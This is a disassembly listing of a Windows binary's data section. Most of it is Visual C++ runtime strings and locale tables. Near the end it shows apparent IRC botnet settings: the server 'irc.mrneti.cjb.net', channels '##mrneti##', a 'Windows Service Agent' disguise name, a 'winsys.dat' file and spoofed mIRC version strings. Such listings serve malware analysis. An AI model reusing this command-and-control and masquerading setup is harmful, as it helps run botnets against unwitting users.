stream->_ptr - stream->_base >= 0)',0 ; DATA XREF: sub_42A430+162o align 4 a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: sub_42A430+18o ; sub_42A430+16Eo align 10h byte_43F0F0 db 6 ; DATA XREF: sub_42A6B0+8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull_0: ; DATA XREF: .XComp0:off_452504o unicode 0, <(null)>,0 align 4 aNull_1 db '(null)',0 ; DATA XREF: .XComp0:off_452500o align 4 aOutput_c db 'output.c',0 ; DATA XREF: sub_42A6B0+122o align 10h aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_42A6B0+116o align 10h aTidtable_c db 'tidtable.c',0 ; DATA XREF: sub_42B550+23o ; sub_42B630+29o align 4 a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: sub_42C200+18o ; sub_42C200+B2o ... align 4 aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_42C360+13o align 10h aInput_c db 'input.c',0 ; DATA XREF: sub_42C5E0+1Eo ; sub_42C5E0+4Bo a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: .XComp0:off_452784o align 10h dbl_43F270 dq 0.0 ; DATA XREF: sub_42E230+D7r ; sub_42E230+11Ar ... aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_42EB80+1Ao align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_42EB80+6o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_42EE60:loc_42EED8o align 4 dword_43F2A8 dd 0FFFFFFFFh, 42F909h, 42F916h, 0dword_43F2B8 dd 0FFFFFFFFh, 0 dd offset sub_42FB3D align 8 dd offset loc_42FAFE dd offset loc_42FB0B dword_43F2D0 dd 0FFFFFFFFh, 42FE5Ch, 42FE62h, 0dword_43F2E0 dd 0FFFFFFFFh, 42FEDEh, 42FEEDh, 0dword_43F2F0 dd 0FFFFFFFFh, 0 dd offset sub_43001E dd 0 dd offset loc_430000 dd offset loc_430006 dword_43F308 dd 0FFFFFFFFh, 0; --------------------------------------------------------------------------- retf 4300h ; --------------------------------------------------------------------------- align 8 dd offset loc_4300AC dd offset loc_4300B2 dword_43F320 dd 6C657466h, 632E6Ch, 545F434Ch, 454D49h, 4E5F434Ch, 52454D55h ; DATA XREF: .XComp0:00430256o ; sub_4302B0+18o ... dd 4349h, 4D5F434Ch, 54454E4Fh, 595241h, 435F434Ch, 45505954h dd 0 aLc_collate db 'LC_COLLATE',0 ; DATA XREF: .XComp0:004529DCo align 10h aLc_all db 'LC_ALL',0 ; DATA XREF: .XComp0:off_4529D0o align 4 asc_43F368: ; DATA XREF: .XComp0:loc_430A13o ; sub_430DF0+83o unicode 0, <;>,0 asc_43F36C db '=;',0 ; DATA XREF: .XComp0:loc_430941o align 10h aSetlocal_c db 'setlocal.c',0 ; DATA XREF: sub_430C50+3Eo ; sub_430DF0+1Bo align 4 asc_43F37C: ; DATA XREF: sub_430DF0+5Bo unicode 0, <=>,0 a___0 db '_.,',0 ; DATA XREF: sub_4310E0:loc_431152o a__1: ; DATA XREF: sub_431240+50o ; sub_436400:loc_4365FBo unicode 0, <.>,0 a__2: ; DATA XREF: sub_431240+25o unicode 0, <_>,0 dword_43F38C dd 0 ; sub_433870+58o ... dword_43F390 dd 2 dup(0) ; sub_433870+35o ... dword_43F398 dd 0FFFFFFFFh, 4313F6h, 4313FCh, 0FFFFFFFFh, 4314ECh, 4314F2h ; DATA XREF: sub_4312B0+5o dword_43F3B0 dd 65647473h, 2E70766Eh, 63h ; sub_4318F0+D0o dword_43F3BC dd 61647473h, 2E766772h, 63hdword_43F3C8 dd 6E655F61h, 632E76h ; sub_431F50+1C6o dword_43F3D0 dd 6E696F69h, 632E7469h, 0 ; sub_432170+106o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 0A0Dh, 534F4C54h dd 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh dd 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .XComp0:off_452ACCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_432590+1A4o align 10h aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_432590:loc_4326DAo db 0Ah db 'Program: ',0 align 4 aWinsig_c db 'winsig.c',0 ; DATA XREF: .XComp0:00432CB1o align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_433100+5Fo align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_433100:loc_43314Bo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_433100+2Ao aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: sub_4331C0+138o align 8 dword_43F6F8 dd 0FFFFFFFFh, 4339B4h, 4339BAhdword_43F704 dd 7465675Fh, 2E667562h, 63h ; sub_433A30+48o dword_43F710 dd 6F74626Dh, 632E6377h, 0aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_434280+18o align 10h aUngetc_c db 'ungetc.c',0 ; DATA XREF: .XComp0:00434806o ; sub_434860+16o align 4 aInittime_c db 'inittime.c',0 ; DATA XREF: sub_435A80+13o align 4 aInitnum_c db 'initnum.c',0 ; DATA XREF: sub_436400+1CFo ; sub_436400+215o ... align 4 aInitmon_c db 'initmon.c',0 ; DATA XREF: sub_436730+13o align 10h aInitctyp_c db 'initctyp.c',0 ; DATA XREF: sub_436B90+52o ; sub_436B90+6Bo ... align 4 aParaguay db 'Paraguay',0 ; DATA XREF: .XComp0:0045302Co align 4 aUruguay db 'Uruguay',0 ; DATA XREF: .XComp0:00453000o aChile db 'Chile',0 ; DATA XREF: .XComp0:00452FD4o align 4 aEcuador db 'Ecuador',0 ; DATA XREF: .XComp0:00452FA8o aArgentina db 'Argentina',0 ; DATA XREF: .XComp0:00452F7Co align 4 aPeru db 'Peru',0 ; DATA XREF: .XComp0:00452F50o align 4 aColombia db 'Colombia',0 ; DATA XREF: .XComp0:00452F24o align 10h aVenezuela db 'Venezuela',0 ; DATA XREF: .XComp0:00452EF8o align 4 aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: .XComp0:00452ECCo align 10h aSouthAfrica db 'South Africa',0 ; DATA XREF: .XComp0:00452EA0o align 10h aPanama db 'Panama',0 ; DATA XREF: .XComp0:00452E74o align 4 aLuxembourg db 'Luxembourg',0 ; DATA XREF: .XComp0:00452E48o align 4 aCostaRica db 'Costa Rica',0 ; DATA XREF: .XComp0:00452E1Co align 10h aSwitzerland db 'Switzerland',0 ; DATA XREF: .XComp0:00452DF0o aGuatemala db 'Guatemala',0 ; DATA XREF: .XComp0:00452DC4o align 4 aCanada db 'Canada',0 ; DATA XREF: .XComp0:00452D98o align 10h aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: .XComp0:00452D64o align 4 aAustralia db 'Australia',0 ; DATA XREF: .XComp0:00452D40o align 4 aEnglish db 'English',0 ; DATA XREF: .XComp0:00452D38o ; .XComp0:00452E98o aAustria db 'Austria',0 ; DATA XREF: .XComp0:00452D14o aGerman db 'German',0 ; DATA XREF: .XComp0:00452D0Co align 4 aBelgium db 'Belgium',0 ; DATA XREF: .XComp0:00452CE8o aMexico db 'Mexico',0 ; DATA XREF: .XComp0:00452CBCo align 4 aSpanish db 'Spanish',0 ; DATA XREF: .XComp0:00452CB4o ; .XComp0:00452DBCo ... aBasque db 'Basque',0 ; DATA XREF: .XComp0:00452C88o align 4 aSweden db 'Sweden',0 ; DATA XREF: .XComp0:00452C64o align 4 aSwedish db 'Swedish',0 ; DATA XREF: .XComp0:00452C5Co aIceland db 'Iceland',0 ; DATA XREF: .XComp0:00452C38o aIcelandic db 'Icelandic',0 ; DATA XREF: .XComp0:00452C30o align 10h aFrance db 'France',0 ; DATA XREF: .XComp0:00452C0Co align 4 aFrench db 'French',0 ; DATA XREF: .XComp0:00452C04o ; .XComp0:00452CE0o ... align 10h aFinland db 'Finland',0 ; DATA XREF: .XComp0:00452BE0o aFinnish db 'Finnish',0 ; DATA XREF: .XComp0:00452BD8o aSpain db 'Spain',0 ; DATA XREF: .XComp0:off_452BB4o ; .XComp0:00452C90o ... align 4 aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: .XComp0:off_452BACo align 4 aUnitedStates db 'united-states',0 ; DATA XREF: .XComp0:00453100o align 4 aUnitedKingdom db 'united-kingdom',0 ; DATA XREF: .XComp0:004530F8o align 4 aTrinidadTobago db 'trinidad & tobago',0 ; DATA XREF: .XComp0:004530E8o align 4 aSouthKorea db 'south-korea',0 ; DATA XREF: .XComp0:004530E0o aSouthAfrica_0 db 'south-africa',0 ; DATA XREF: .XComp0:004530D8o align 4 aSouthKorea_0 db 'south korea',0 ; DATA XREF: .XComp0:004530D0o aSouthAfrica_1 db 'south africa',0 ; DATA XREF: .XComp0:004530C8o align 10h aSlovak db 'slovak',0 ; DATA XREF: .XComp0:004530C0o align 4 aPuertoRico db 'puerto-rico',0 ; DATA XREF: .XComp0:004530B8o aPrChina db 'pr-china',0 ; DATA XREF: .XComp0:004530B0o align 10h aPrChina_0 db 'pr china',0 ; DATA XREF: .XComp0:004530A8o align 4 aNz db 'nz',0 ; DATA XREF: .XComp0:004530A0o align 10h aNewZealand db 'new-zealand',0 ; DATA XREF: .XComp0:00453098o aHongKong db 'hong-kong',0 ; DATA XREF: .XComp0:00453090o align 4 aHolland db 'holland',0 ; DATA XREF: .XComp0:00453088o aGreatBritain db 'great britain',0 ; DATA XREF: .XComp0:00453080o align 10h aEngland db 'england',0 ; DATA XREF: .XComp0:00453078o aCzech db 'czech',0 ; DATA XREF: .XComp0:00453070o align 10h aChina db 'china',0 ; DATA XREF: .XComp0:00453068o align 4 aBritain db 'britain',0 ; DATA XREF: .XComp0:00453060o aAmerica db 'america',0 ; DATA XREF: .XComp0:off_453058o off_43F9E8 dd offset byte_617375 ; DATA XREF: .XComp0:00453310o dword_43F9EC dd 7375h, 6B75h, 73697773h, 73h, 64657773h, 2D687369h ; DATA XREF: .XComp0:00453108o ; .XComp0:00453308o ... dd 6C6E6966h, 646E61h, 6E617073h, 2D687369h, 656E6576h dd 6C65757Ah, 61h, 6E617073h, 2D687369h, 67757275h, 796175h dd 6E617073h, 2D687369h, 72657570h, 72206F74h, 6F6369h dd 6E617073h, 2D687369h, 75726570h, 0 aSpanishParagua db 'spanish-paraguay',0 ; DATA XREF: .XComp0:004532C8o align 4 aSpanishPanama db 'spanish-panama',0 ; DATA XREF: .XComp0:004532C0o align 4 aSpanishNicarag db 'spanish-nicaragua',0 ; DATA XREF: .XComp0:004532B8o align 4 aSpanishModern db 'spanish-modern',0 ; DATA XREF: .XComp0:004532B0o align 4 aSpanishMexican db 'spanish-mexican',0 ; DATA XREF: .XComp0:004532A8o aSpanishHondura db 'spanish-honduras',0 ; DATA XREF: .XComp0:004532A0o align 10h aSpanishGuatema db 'spanish-guatemala',0 ; DATA XREF: .XComp0:00453298o align 4 aSpanishElSalva db 'spanish-el salvador',0 ; DATA XREF: .XComp0:00453290o aSpanishEcuador db 'spanish-ecuador',0 ; DATA XREF: .XComp0:00453288o aSpanishDominic db 'spanish-dominican republic',0 ; DATA XREF: .XComp0:00453280o align 4 aSpanishCostaRi db 'spanish-costa rica',0 ; DATA XREF: .XComp0:00453278o align 4 aSpanishColombi db 'spanish-colombia',0 ; DATA XREF: .XComp0:00453270o align 4 aSpanishChile db 'spanish-chile',0 ; DATA XREF: .XComp0:00453268o align 4 aSpanishBolivia db 'spanish-bolivia',0 ; DATA XREF: .XComp0:00453260o aSpanishArgenti db 'spanish-argentina',0 ; DATA XREF: .XComp0:00453258o align 10h aPortugueseBraz db 'portuguese-brazilian',0 ; DATA XREF: .XComp0:00453250o align 4 aNorwegianNynor db 'norwegian-nynorsk',0 ; DATA XREF: .XComp0:00453248o align 4 aNorwegianBokma db 'norwegian-bokmal',0 ; DATA XREF: .XComp0:00453240o align 10h aNorwegian db 'norwegian',0 ; DATA XREF: .XComp0:00453238o align 4 aItalianSwiss db 'italian-swiss',0 ; DATA XREF: .XComp0:00453230o align 4 aIrishEnglish db 'irish-english',0 ; DATA XREF: .XComp0:00453228o align 4 aGermanSwiss db 'german-swiss',0 ; DATA XREF: .XComp0:00453220o align 4 aGermanLuxembou db 'german-luxembourg',0 ; DATA XREF: .XComp0:00453218o align 10h aGermanLichtens db 'german-lichtenstein',0 ; DATA XREF: .XComp0:00453210o aGermanAustrian db 'german-austrian',0 ; DATA XREF: .XComp0:00453208o aFrenchSwiss db 'french-swiss',0 ; DATA XREF: .XComp0:00453200o align 4 aFrenchLuxembou db 'french-luxembourg',0 ; DATA XREF: .XComp0:004531F8o align 4 aFrenchCanadian db 'french-canadian',0 ; DATA XREF: .XComp0:004531F0o aFrenchBelgian db 'french-belgian',0 ; DATA XREF: .XComp0:004531E8o align 4 aEnglishUsa db 'english-usa',0 ; DATA XREF: .XComp0:004531E0o aEnglishUs db 'english-us',0 ; DATA XREF: .XComp0:004531D8o align 10h aEnglishUk db 'english-uk',0 ; DATA XREF: .XComp0:004531D0o align 4 aEnglishTrinida db 'english-trinidad y tobago',0 ; DATA XREF: .XComp0:004531C8o align 4 aEnglishSouthAf db 'english-south africa',0 ; DATA XREF: .XComp0:004531C0o align 10h aEnglishNz db 'english-nz',0 ; DATA XREF: .XComp0:004531B8o align 4 aEnglishJamaica db 'english-jamaica',0 ; DATA XREF: .XComp0:004531B0o aEnglishIre db 'english-ire',0 ; DATA XREF: .XComp0:004531A8o aEnglishCaribbe db 'english-caribbean',0 ; DATA XREF: .XComp0:004531A0o align 4 aEnglishCan db 'english-can',0 ; DATA XREF: .XComp0:00453198o aEnglishBelize db 'english-belize',0 ; DATA XREF: .XComp0:00453190o align 4 aEnglishAus db 'english-aus',0 ; DATA XREF: .XComp0:00453188o aEnglishAmerica db 'english-american',0 ; DATA XREF: .XComp0:00453180o align 4 aDutchBelgian db 'dutch-belgian',0 ; DATA XREF: .XComp0:00453178o align 4 aChineseTraditi db 'chinese-traditional',0 ; DATA XREF: .XComp0:00453170o aChineseSingapo db 'chinese-singapore',0 ; DATA XREF: .XComp0:00453168o align 10h aChineseSimplif db 'chinese-simplified',0 ; DATA XREF: .XComp0:00453160o align 4 aChineseHongkon db 'chinese-hongkong',0 ; DATA XREF: .XComp0:00453158o align 4 aChinese db 'chinese',0 ; DATA XREF: .XComp0:00453150o aChi db 'chi',0 ; DATA XREF: .XComp0:00453148o aChh db 'chh',0 ; DATA XREF: .XComp0:00453140o aCanadian db 'canadian',0 ; DATA XREF: .XComp0:00453138o align 4 aBelgian db 'belgian',0 ; DATA XREF: .XComp0:00453130o aAustralian db 'australian',0 ; DATA XREF: .XComp0:00453128o align 4 aAmericanEnglis db 'american-english',0 ; DATA XREF: .XComp0:00453120o align 4 aAmericanEngl_0 db 'american english',0 ; DATA XREF: .XComp0:00453118o align 10h aAmerican db 'american',0 ; DATA XREF: .XComp0:off_453110o align 4 off_43FDFC dd offset loc_50434D+2 ; DATA XREF: sub_437910:loc_437963o off_43FE00 dd offset loc_504340+1 ; DATA XREF: sub_437910+16o dword_43FE04 dd 69736863h, 632E657Ah, 0dword_43FE10 dd 657A6973h, 203D3E20h, 30hdword_43FE1C dd 4E512331h, 4E41hdword_43FE24 dd 4E492331h, 46hdword_43FE2C dd 4E492331h, 44hdword_43FE34 dd 4E532331h, 4E41h, 6D6D3A48h, 73733Ah, 64646464h, 4D4D202Ch ; DATA XREF: sub_439080+125o ; .XComp0:004533C8o dd 64204D4Dh, 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h dd 4D41h, 65636544h, 7265626Dh, 0 aNovember db 'November',0 ; DATA XREF: .XComp0:004533B0o align 10h aOctober db 'October',0 ; DATA XREF: .XComp0:004533ACo aSeptember db 'September',0 ; DATA XREF: .XComp0:004533A8o align 4 aAugust db 'August',0 ; DATA XREF: .XComp0:004533A4o align 4 aJuly db 'July',0 ; DATA XREF: .XComp0:004533A0o align 4 aJune db 'June',0 ; DATA XREF: .XComp0:0045339Co align 4 aApril db 'April',0 ; DATA XREF: .XComp0:00453394o align 4 aMarch db 'March',0 ; DATA XREF: .XComp0:00453390o align 4 aFebruary db 'February',0 ; DATA XREF: .XComp0:0045338Co align 4 aJanuary db 'January',0 ; DATA XREF: .XComp0:00453388o aDec db 'Dec',0 ; DATA XREF: .XComp0:00453384o aNov db 'Nov',0 ; DATA XREF: .XComp0:00453380o aOct db 'Oct',0 ; DATA XREF: .XComp0:0045337Co aSep db 'Sep',0 ; DATA XREF: .XComp0:00453378o aAug db 'Aug',0 ; DATA XREF: .XComp0:00453374o aJul db 'Jul',0 ; DATA XREF: .XComp0:00453370o aJun db 'Jun',0 ; DATA XREF: .XComp0:0045336Co aMay db 'May',0 ; DATA XREF: .XComp0:00453368o ; .XComp0:00453398o aApr db 'Apr',0 ; DATA XREF: .XComp0:00453364o aMar db 'Mar',0 ; DATA XREF: .XComp0:00453360o aFeb db 'Feb',0 ; DATA XREF: .XComp0:0045335Co aJan db 'Jan',0 ; DATA XREF: .XComp0:00453358o aSaturday db 'Saturday',0 ; DATA XREF: .XComp0:00453354o align 4 aFriday db 'Friday',0 ; DATA XREF: .XComp0:00453350o align 4 aThursday db 'Thursday',0 ; DATA XREF: .XComp0:0045334Co align 10h aWednesday db 'Wednesday',0 ; DATA XREF: .XComp0:00453348o align 4 aTuesday db 'Tuesday',0 ; DATA XREF: .XComp0:00453344o aMonday db 'Monday',0 ; DATA XREF: .XComp0:00453340o align 4 aSunday db 'Sunday',0 ; DATA XREF: .XComp0:0045333Co align 4 aSat db 'Sat',0 ; DATA XREF: .XComp0:00453338o aFri db 'Fri',0 ; DATA XREF: .XComp0:00453334o aThu db 'Thu',0 ; DATA XREF: .XComp0:00453330o aWed db 'Wed',0 ; DATA XREF: .XComp0:0045332Co aTue db 'Tue',0 ; DATA XREF: .XComp0:00453328o aMon db 'Mon',0 ; DATA XREF: .XComp0:00453324o aSun db 'Sun',0 ; DATA XREF: .XComp0:off_453320o aAP db 'a/p',0 ; DATA XREF: sub_43A4F0:loc_43A6E3o aAmPm db 'am/pm',0 ; DATA XREF: sub_43A4F0:loc_43A6C3o align 4 aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_43AA10+9Co ; sub_43AA10+F1o align 4 dword_43FF78 dd 0FFFFFFFFh, 43ADD7h, 43ADDDh, 0FFFFFFFFh, 43AE56h, 43AE5Ch ; DATA XREF: sub_43ACB0+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 10h aTzset_c db 'tzset.c',0 ; DATA XREF: sub_43B7C0+1D1o aTz db 'TZ',0 ; DATA XREF: sub_43B7C0+35o align 10h dword_43FFE0 dd 0FFFFFFFFh, 43C19Dh, 43C1A3h, 0dword_43FFF0 dd 0FFFFFFFFh, 43C33Fh, 43C345hdword_43FFFC dd 6D6F7477h, 766E6562h, 632Ehdword_440008 dd 6D635F61h, 632E70haCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0 ; DATA XREF: sub_43C5F0:loc_43C763o align 10h dword_440050 dd 0FFFFFFFFh, 43C8CFh, 43C8D5h, 0FFFFFFFFh, 43C96Dh, 43C973h ; DATA XREF: sub_43C5F0+5o dword_440068 dd 65746573h, 632E766Eh, 0 ; sub_43CA40+F2o ... aStringTooLong db 'string too long',0 ; DATA XREF: sub_43CF80+1Fo dd offset dword_440168 off_440088 dd offset sub_43D100 ; DATA XREF: sub_43CFE0+44o ; sub_43D0A0+1Fo ... dd offset sub_43D050 dd offset sub_43D070 dd offset dword_4401B8 off_440098 dd offset sub_43D220 ; DATA XREF: sub_43D130+16o ; sub_43D1D0+Ao ... dd offset sub_43D050 dd offset sub_43D1F0 aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_43D280+1Fo dd offset dword_440208 off_4400C0 dd offset sub_43D360 ; DATA XREF: sub_43D2E0+16o ; sub_43D310+Ao ... dd offset sub_43D050 dd offset sub_43D330 dd offset dword_440238 off_4400D0 dd offset sub_43D840 ; DATA XREF: .XComp0:0043D81Ao ; sub_43D870+Co ... dd offset sub_43D9E0 aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_43D9E0:loc_43D9F8o align 4 dd offset dword_440280 off_4400F0 dd offset sub_43DA50 ; DATA XREF: sub_43DA10+Ao ; .XComp0:0043DB3Ao ... align 8 dword_4400F8 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0) off_440118 dd offset off_4537F0 ; DATA XREF: .XComp0:0044014Co ; .XComp0:004401A0o ... dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_440130 dd offset off_453808 ; DATA XREF: .XComp0:00440148o ; .XComp0:0044019Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_440130 dd offset off_440118 dword_440150 dd 4 dup(0) dd 2, 440148h dword_440168 dd 3 dup(0) dd offset off_453808 dd offset dword_440150+8 align 10h off_440180 dd offset off_453828 ; DATA XREF: .XComp0:00440198o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_440180 dd offset off_440130 dd offset off_440118 dd 0 db 0 ; DATA XREF: .XComp0:004401C8o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 440198h dword_4401B8 dd 3 dup(0) dd offset off_453828 dd offset unk_4401A8 align 10h off_4401D0 dd offset off_453848 ; DATA XREF: .XComp0:004401E8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_4401D0 dd offset off_440130 dd offset off_440118 dd 0 db 0 ; DATA XREF: .XComp0:00440218o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 4401E8h dword_440208 dd 3 dup(0) dd offset off_453848 dd offset unk_4401F8 dd offset off_440118 dword_440220 dd 4 dup(0) dd 1, 44021Ch dword_440238 dd 3 dup(0) dd offset off_4537F0 dd offset dword_440220+8 align 10h off_440250 dd offset off_453868 ; DATA XREF: .XComp0:00440268o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_440250 dword_44026C dd 3 dup(0) dd 1, 440268h dword_440280 dd 3 dup(0) dd offset off_453868 dd offset dword_44026C+4 align 8 dword_440298 dd 19930520h, 2, 4402B8h, 5 dup(0) dd 0FFFFFFFFh, 43DBB9h, 0 dd offset sub_43DBB0 dword_4402C8 dd 19930520h, 2, 4402E8h, 5 dup(0) dd 0FFFFFFFFh, 43DBDAh, 0 dd offset loc_43DBE3 dword_4402F8 dd 19930520h, 2, 440318h, 1, 440328h, 3 dup(0) ; DATA XREF: .XComp0:loc_43DBF8o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 440340h, 4 dup(0) dd offset loc_410E84 dd 0 dd offset off_4537F0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 43D8E0h, 2 dup(0) dd offset off_453808 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 43CFE0h, 2 dup(0) dd offset off_453828 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 43D250h, 0 dword_4403B0 dd 3, 440390h, 440370h, 440350hdword_4403C0 dd 0 ; sub_43D1F0+15o dd offset sub_43D1D0 dd 0 dd offset dword_4403B0 dword_4403D0 dd 19930520h, 1, 4403F0h, 5 dup(0) dd 0FFFFFFFFh, 43DC10h dword_4403F8 dd 19930520h, 1, 440418h, 5 dup(0)dword_440418 dd 0FFFFFFFFh, 43DC30h, 2, 440370h, 440350h, 0 ; DATA XREF: .XComp0:0044043Co dword_440430 dd 0 dd offset sub_43D0A0 dd 0 dd offset dword_440418+8 dword_440440 dd 19930520h, 1, 440460h, 5 dup(0) dd 0FFFFFFFFh, 43DC50h dword_440468 dd 19930520h, 1, 440488h, 5 dup(0) dd 0FFFFFFFFh, 43DC70h, 0 dd offset off_453848 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 43D390h, 0 dword_4404B0 dd 3, 440490h, 440370h, 440350hdword_4404C0 dd 0 ; sub_43D330+15o dd offset sub_43D310 dd 0 dd offset dword_4404B0 dword_4404D0 dd 19930520h, 1, 4404F0h, 5 dup(0) dd 0FFFFFFFFh, 43DC90h, 2C2h dup(0) dword_441000 dd 0 dd offset sub_401682 dd offset sub_41073A dd offset sub_413748 dd offset sub_43D3C0 dword_441014 dd 0 dword_441018 dd 0 dd offset sub_423C90 dd offset sub_4249E0 dd offset sub_42BFE0 dd offset sub_435990 dword_44102C dd 0 dword_441030 dd 0 dd offset sub_424B10 dword_441038 dd 0 dword_44103C dd 0 dd offset sub_4359B0 dword_441044 dd 3 dup(0) dword_441050 dd 80000002h off_441054 dd offset byte_441170 ; DATA XREF: sub_401000+2Er dd 80000002h, 4411A0h, 80000001h, 441170h dword_441068 dd 6272h dword_44106C dd 0C12h ; sub_4016A7+68Dr dword_441070 dd 0C12h dd 7E4h dword_441078 dd 45h dword_44107C dd 50h ; sub_4021E5:loc_40580Er ... dd 201h word_441084 dw 7C7h ; DATA XREF: sub_4021E5+1D49r ; sub_4021E5:loc_403F67r align 4 dword_441088 dd 1 dword_44108C dd 1 ; sub_41A907+9r byte_441090 db 2Eh ; DATA XREF: sub_4021E5+EECr ; sub_4021E5+1299r ... align 4 dword_441094 dd 5 ; .XComp0:0040CA70r ... dword_441098 dd 4 ; sub_4021E5+3E6r ... dword_44109C dd 1 ; sub_4021E5+3E0r dword_4410A0 dd 33643063h, 724D2072h, 6974654Eh, 0 ; sub_4021E5:loc_404879o ... dword_4410B0 dd 33643063h, 724D2072h, 6974654Eh, 0aMrneti_0 db 'mrneti',0 ; DATA XREF: sub_4021E5+FCBo ; sub_4021E5+1174o align 4 aIrc_mrneti_cjb db 'irc.mrneti.cjb.net',0 ; DATA XREF: sub_4016A7+5A8o ; sub_4016A7+67Bo align 4 aMrneti db '##mrneti##',0 ; DATA XREF: sub_4016A7+5C6o ; sub_4016A7+699o align 4 byte_4410E8 db 6Dh ; DATA XREF: sub_4016A7:loc_401851o ; sub_4016A7+1D4w ... db 73h, 6Eh, 67h dd 2E726165h, 657865h, 6E6E6977h, 61622E74h, 74h aWindowsService db 'Windows Service Agent',0 ; DATA XREF: sub_401000+5Co ; sub_401000:loc_40106Co align 4 aXxxxx db '[XxXxX]',0 ; DATA XREF: .XComp0:0040CA49o aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_4021E5+331o align 4 aMrnetiex db '##mrnetiex##',0 ; DATA XREF: sub_4021E5+3E5Do ; sub_4021E5+3E6Do ... align 4 aMrneti_1 db '##mrneti##',0 align 10h aMrneti_2 db '##mrneti##',0 align 4 off_44115C dd offset dword_4414B0 ; DATA XREF: sub_4021E5+107Dr off_441160 dd offset aMircV6_16Khale ; DATA XREF: sub_4021E5+AA0r ; sub_4021E5+AB3r ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" byte_441170 db 53h 